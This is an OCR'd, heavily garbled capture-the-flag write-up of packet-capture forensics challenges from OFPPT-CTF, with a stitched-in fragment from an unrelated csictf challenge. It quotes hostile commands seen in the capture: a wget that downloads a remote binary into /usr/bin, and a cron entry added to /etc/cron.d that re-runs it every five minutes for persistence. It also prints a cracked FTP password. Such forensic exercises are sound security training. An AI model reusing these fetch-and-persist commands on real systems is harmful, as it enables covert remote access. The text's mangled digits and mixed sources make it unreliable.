160.. 2021-08-23 8.3272264.. 192.168.100.106 86225242 TSecr=3354309
168.. 2021-08-23 8.3272804.. 192.168.100.103 145290000 FFFf ~
160.. 2021-08-23 :38.3272869.. 192.168.100.106 1f d21b8@14ccd215468697320767266772616d2863616e6e61742062652072756e 86225242 TSecr=3354309
168.. 2021-88-23 06:53:38.3273395.. 192.168.100.103 20696020444153206d676465. 504500004.c0108005d2 9651 £836b010222
160.. 2021-08-23 06:53:38.3289009.. 192.165.100.106 082010080928100900c000ACO1: 1 1 86225244 TSecr=3354309
168.. 2021-88-23 06:53:38.3289895.. 192.168.100.103 020 000001 100000 1 00100
160.. 2021-88-23 06:53:38.3290030.. 192.168.100.106 A TR 86225244 TSecr=3354311
149c01001 10100280:
746578 42¢016080100000002¢
Kind: No-Operation (1) 2e64617461000000 1 o 02e72646174610000 570000
v TCP Option - Timestamps: TSval 3354311, TSecr 41862252 |©@@500L 401 226273 1
Kind: Time Stamp Option (8) 2e69646174610000780 90! 01
Length: 10 480030c02e43525 100000: 38c82e746¢C
Timestamp value: 3354311 108008 - ELHITARET AL ol
00980 30c
Timestamp echo reply: 4186225244
v [Timestamps]
[Time since first frame in this TCP stream: ©.88214572
[Time since previous frame in this TCP stream: 0.00008
v [SEQ/ACK analysis]
[iRTT: ©.000071985 seconds] 38dba
[Bytes in flight: 19104] 83ec1c31c066813d0BORIRALASac70538b0410001000000C70534b0410051000008<70530b0410001000608 C70528b041000100
; . 000975188b153C00400881 504 7460230cb04100a144b0410085c07542C7042401608000e8c621
[Bytes sent since last PSH flag: 19104] B marac. 2 . M Aot e annr aean Y
TCP payload (19104 bytes) 0 EES AL, 6 FES L, 0 ()
FTP Data (19104 bytes data) BATE {105 1B % Show dat I*“ EREE I .
0048 ba 5c 00 0@ @0 00 96 30 87 77 2c 61 @e ee ba 51  -\-| H: | | Er—t ]
0950 89 99 19 c4 6d 07 8f f4 6a 78 35 a5 63 e9 a3 95
8060 64 9e 32 88 db Be a4 b8 dc 79 le €9 d5 ed 88 dI R 150 I B I EE Clos= Help
8070 d2 97 2b 4c b6 @9 bd 7c bl 7e 87 2d b8 e7 91 1d
8080 bf 90 64 10 b7 1d f2 20 b8 6a 48 71 b9 f3 de 41
8090 be 84 7d d4 da la eb ed dd 6d 51 bS d4 f4 c7 85
0020 d3 83 56 98 6c 13 @ a8 6b 64 7a f9 62 fd ec c9
@0b0 65 8a 4f 5c @1 14 d9 6c @6 63 63 3d Of fa 5 od CSDN @shusk
20c0 ©8 8d 8 20 6e 3b Se 10 63 4c e4 41 60 d5 72 71

OFPPT-CTF{9cb9b11484369b95ce35904c691a5b28 |4da8e8lee5b08777871e347a6b296953}

pcap analysis 3

The attacker cracked a password belonging to the victim. Submit the flag as: OFPPT-CTF{password}.
Use the PCAP file from ‘pcap analysis’ challenge.



W i & FE R ftp

B
lo. Time Source Destinstion Protoce. Length Info
155.. 2821-88-23 86:51:34.08394136.. 192.168.100.186 192.168.100.103 FTP 8@ Request: PASS rockyou
155.. 28021-88-23 86:51:34.08394218.. 192.168.100.186 192.168.100.103 FTP 85 Request: PASS retkcihcsegc
155... 2821-88-23 86:51:34.8394295.. 192.163.100.186 192.168.108.1683 FTP 75 Request: PASS "
155.. 2021-88-23 ©6:51:34.0394421.. 192.168.100.106 192.168.100.103 FTP 79 Request: PASS daniel
155.. 2021-08-23 ©6:51:34.08394527.. 192.168.100.106 192.168.100.103 FTP 81 Request: PASS password
155.. 2621-88-23 86:51:34.0409426.. 192.168.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2821-88-23 86:51:34.0489980.. 192.168.100.183 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2821-88-23 86:51:34.08415453.. 192.163.100.183 192.168.108.166 FTP 91 Response: 53@ User cannot log in.
155.. 2021-08-23 ©6:51:34.0418315.. 192.1638.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2021-08-23 ©6:51:34.0418805.. 192.168.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2021-08-23 ©6:51:34.6421451.. 192.168.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2821-88-23 86:51:34.0424216.. 192.168.100.183 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2021-88-23 86:51:34.0426987.. 192.168.100.183 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155... 2021-88-23 86:51:34.08429706.. 192.163.100.183 192.168.100.166 FTP 91 Response: 53@ User cannot log in.
155.. 2021-08-23 ©6:51:34.0432489.. 192.168.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
155.. 2021-08-23 ©6:51:34.0435238.. 192.168.100.103 192.168.100.106 FTP 91 Response: 53@ User cannot log in.
. bits) on interface eth®. id & CSUN@sHs
Vi
PREBRT, 15 3%
M Wireshark - tream eq 73191 + pcap-anal pcapng
HOST
STIZE
MDTM
REST STREAM
114 w\
USER cgeschickter
331 Password required
PASS darkangel
238 User logged in.
T 1
208 Type set to I.
OPTS UTF8 ON
208 OPTS UTF& command successful - UTF8 encoding now ON.
SYST
215 Windows_NT
SITE HELP
214-The following SITE commands are recognized (* ==3»'s unimplemented).
DIRSTYLE
HELP
214 HELP command successful.
PWD
257 "/" is current directory.
LCWD /7
= . P B rnf-l— feil=l B
82 Z s A5, 116 FEE S5, 162 turn(s). CSDN @shuze

USER cgeschickter

331 Password required
PASS darkangel
230 User logged in.

cgeschickterfl 7t 5 25 — @I BL

pcap analysis 4

The attacker made a fatal mistake, and in doing so, gave control of his computer to... someone. he shouldn’t have run that malicious

program.
What is the hash md5 of the program? Submit the flag as: OFPPT-CTF{MD5_HASH}. Use the PCAP file from ‘pcap analysis’ challenge.



M Wireshark - 188 HTTP §% (icp.stream eq 73226) - pcap-analysis.pcapng — O st

GET /secret_decoder.bin HTTP/1.1
User-Agent: Wget/1.21

Accept: */*

Accept-Encoding: identity

Host: 192.168.1898.185
Connection: Keep-Alive

HTTP/1.1 288 OK

Date: Sun, 22 Aug 2821 22:55:34 GMT

Server: Apache/2.4.48 (Debian)
Last-Modified: Sun, 22 Aug 2021 22:43:12 GMT
ETag: "c2-5ca2da®22fdee”

Accept-Ranges: bytes

Content-Length: 194

Keep-Alive: timeout=5, max=18@

Connection: Keep-Alive

Content-Type: application/octet-stream

..§!X..u.9;X.H./bin/sh.SH. .RWH. . ..

1 g e, 1 EEE S, 1 turais)

EATHE (639 bytes) v Show datas HBESITUE

(W Txep- strean eq 73218

No. Time Source Destination Protoco. Length Info

166.. 2021-08-23 ©6:53:38.3175226.. 192.168.100.186 192.168.160.183 66 50328 - 49647 [ACK] Seg=1 Ack= i vy EEEL
160.. 2021-88-23 86:53:38.3178479.. 192.163.100.103 192.168.100.186 FTP-.. 1308 FTP Data: 64 bytes (PASV) (RETI rd-cgeschickter. txt)
160.. 2021-88-23 06:53:38.3178512.. 192.168.100.106 192.168.100.103 66 50328 + 49647 [ACK] Seq=1 Ack=t

160.. 2021-08-23 06:53:38.3181418.. 192.168.100.103 192.168.100.106 TCP 66 49647 + 50328 [ACK] Seq=-66 Ack=2 Win=131584 Len-8 TSval-3354300 TSecr-4186225233

M Vireshark - EB5 rth (tcp.stream eq 7321 PI- peap-analysis.pcapng — o %

| |
75AC98147C07752767EQIEF781CFI98E401D19B01E30CBAAS109D6ADTECIALTA I

P eI P
SO0

N Cmamn 168773 130 hibac an wina (10008 hitc) 120 hitac cand

SN LL{RTCIEHIMDS

75AC98147C07752767E09EF781CF998E401D19B01E30CBAAS5109D6AL 3%

sha256
demagorgon

CSDN @shust



pcap analysis 5

The attacker started by performing a port scan of the victim computer.

Identify the open TCP ports discovered on the victim’'s machine? Enter the flag as the open ports, separated by commas, no spaces, in
numerical order. Disregard port numbers > 10000. Example: OFPPT-CTF{80,110,111,143,443,2049} Use the PCAP file from ‘pcap
analysis’ challenge.

RIERMHERLIE—T

ip.src==192.168.100.103 && ip.dst==192.168.100.106 && tcp && frame.len==74

AN 2@ DRB Res=F sEElaaan

W [:p. src=192. 165. 100. 103 & ip.dst—192. 168. 100. 106 &k top &E frame. len—74

Yo. Time Source Destination Protoco. Length Info

> Frame 9383: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface eth®, id @ CSDN @ShzR

KinfoS Nexcelffiit— T

M Columnl. 32" PiasisrEa(l)

= ||
L (2 ~
- [SYN,

¥135

@130

21

-[w] 3389

[ 445

v Source

B || oW

BICIILH

OFPPT-CTF{21,135,139,445,3389}

pcap analysis 6

The attacker might have just bit off more than he can chew! he encountered a competitor that is counter-attacking his system!

The competitor executed a command to attain persistence on the attacker’'s computer. This command will allow the adversary to regain
a connection to the computer even after reboot. What is the packet number where this command was executed? For example: OFPPT-
CTF{93721}. Use the PCAP file from ‘pcap analysis’ challenge.



HaRBERE, BRERT

AEI® TRE se==F o5=E

[W]tep- strean eq 73225

Keo. Time
160442 2021-08-23 @6:55:
160443 2021-08-23 @6:55:

35.285
35.285

160447 2021-08-23 @6:55:
160448 2021-08-23 @6:55:
160452 2021-08-23 @6:55:
168453 2021-08-23 @6:55:
160454 2021-08-23 @6:55:
160455 2021-08-23 @6:55:

35.285
35.285
35.286
35.286
35.286
35.286

--2021-88-22 17:55:35--
Connecting to 192.168.100.1@5:80...
HTTP request sent, awaiting response...
Length: 194 [application/octet-stream]

connacted.
200 0K

168456 2021-08-23 ©6:55:35.286] |Saving to: '/fusr/bin/ll-connect.bin’
168457 2021-88-23 86:55:35.286
168458 2021-88-23 86:55:35.286 eK

160465 2021-08-23 @6:55:
160466 2021-08-23 @6:55:
160468 §021-08-23 @6:56:

49.971
49.971
10.903 L

P i - fodo /17 T

sudo wget -0 /usr/bin/ll-connect.bin http://192.168.108.185/secret_decoder.bin
http://192.168.108.185/secret_decoder.bin

168% 57.2M=08s

2021-88-22 17:55:35 (57.2 MB/s) - "/usr/binf1ll-connect.bin’ saved [194/194]

168469 2021-08-23 @6:56:

ArnaTA 901 A0 AT Ar.To

PR Y

10.903 I sudo /bin/bash -c "echeo "*/5 * * * * poot fusr/bin/ll-connect.bin’' » /etc/cron.d/da-11-backup-job" I

v

Frame 1608468: 165 bytes on wire
Ethernet II, Src: 192.168.109.14d
Internet Protocol Version 4, Sr
Transmission Control Protocol, §
~ Data (99 bytes)

Data: 7375646f202f62696e2f626
[Length: 99]

v

cat fetc/cron.d/da-11-backup-job
*/5 * * ¥ % poot Jusr/bin/ll-connect.bin

v o

cd /home/luciafer

1s -al

total 21216

druxr-xr-x 18 luciafer luciafer
druxr-xr-x 4 root root

1 luciafer luciafer

4096 Aug 22 17:44 .
4096 Aug 21 20:29 ..

8 Aug 21 20:43 .ICEauthority

£ 160470, 55 FSW B, 2 HEE 4, ¢ (s SEERE.
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N group default glen 1868

queue state UP group default
da

ope global ethé
er

user @ csictf: %
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ps -ef

UID PID PPID C STIME TTY TIME CMD

root 1 @0 0 Mar23 ? 00:00:00 /usr/sbin/xinetd -dontfork
ctf 553 1 © Mar23 ? 00:00:00 sh /ctf/start.sh

ctf 554 553 @ Mar23 ? 00:00:00 /bin/bash script.sh

ctf 558 554 @ Mar23 ? 00:00:00 bash

ctf 561 1 © Mar23 ? 00:00:00 sh /ctf/start.sh

ctf 562 561 © Mar23 ? 00:00:00 /bin/bash script.sh

ctf 568 562 © Mar23 ? 00:00:00 /usr/bin/script -qc /bin/bash /dev/null
ctf 569 568 © Mar23 pts/e 00:00:00 sh -c /bin/bash

ctf 570 569 © Mar23 pts/e 00:00:00 /bin/bash

ctf 642 1 0 03:02°? 00:00:00 sh /ctf/start.sh

ctf 643 642 © 03:02 ? 00:00:00 /bin/bash script.sh

ctf 723 1 © e5:03°? 00:00:00 sh /ctf/start.sh

ctf 724 723 © 05:0e3 ? 00:00:00 /bin/bash script.sh

ctf 934 1 © 08:14 ? 00:00:00 sh /ctf/start.sh

ctf 935 934 © 08:14 ? 00:00:00 /bin/bash script.sh

ctf 955 935 © 08:16 ? 00:00:00 ps -ef

R TR Bnlar &8 T LASE UM, iE/ctf/start.shflscript.sh
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while
do

huZ

start.sh

1 #! /bin/sh

2 cd /ctf
3 /bin/bash script.sh

script.sh

1 shopt -s expand_aliases

2 alias cat="cowsay Don\'t look at me, I\'m just here to say moo."
3 alias 1ls="cowsay Don\'t look at me, I\'m just here to say moo."

4 alias grep="cowsay Don\'t look at me, I\'m just here to say moo."
5 alias awk="cowsay Don\'t look at me, I\'m just here to say moo."
6 alias pwd="cowsay Don\'t look at me, I\'m just here to say moo."
7 alias cd="cowsay Don\'t look at me, I\'m just here to say moo."

8 alias head="cowsay Don\'t look at me, I\'m just here to say moo."
9 alias tail="cowsay Don\'t look at me, I\'m just here to say moo."
10 alias less="cowsay Don\'t look at me, I\'m just here to say moo."
11 alias more="cowsay Don\'t look at me, I\'m just here to say moo."
12 alias sed="cowsay Don\'t look at me, I\'m just here to say moo."
13 alias find="cowsay Don\'t look at me, I\'m just here to say moo."
14 alias awk="cowsay Don\'t look at me, I\'m just here to say moo."
15 while

16 do

17 echo "user @ csictf: $ "

18 read input

19 eval $input 2>/dev/null

20 done
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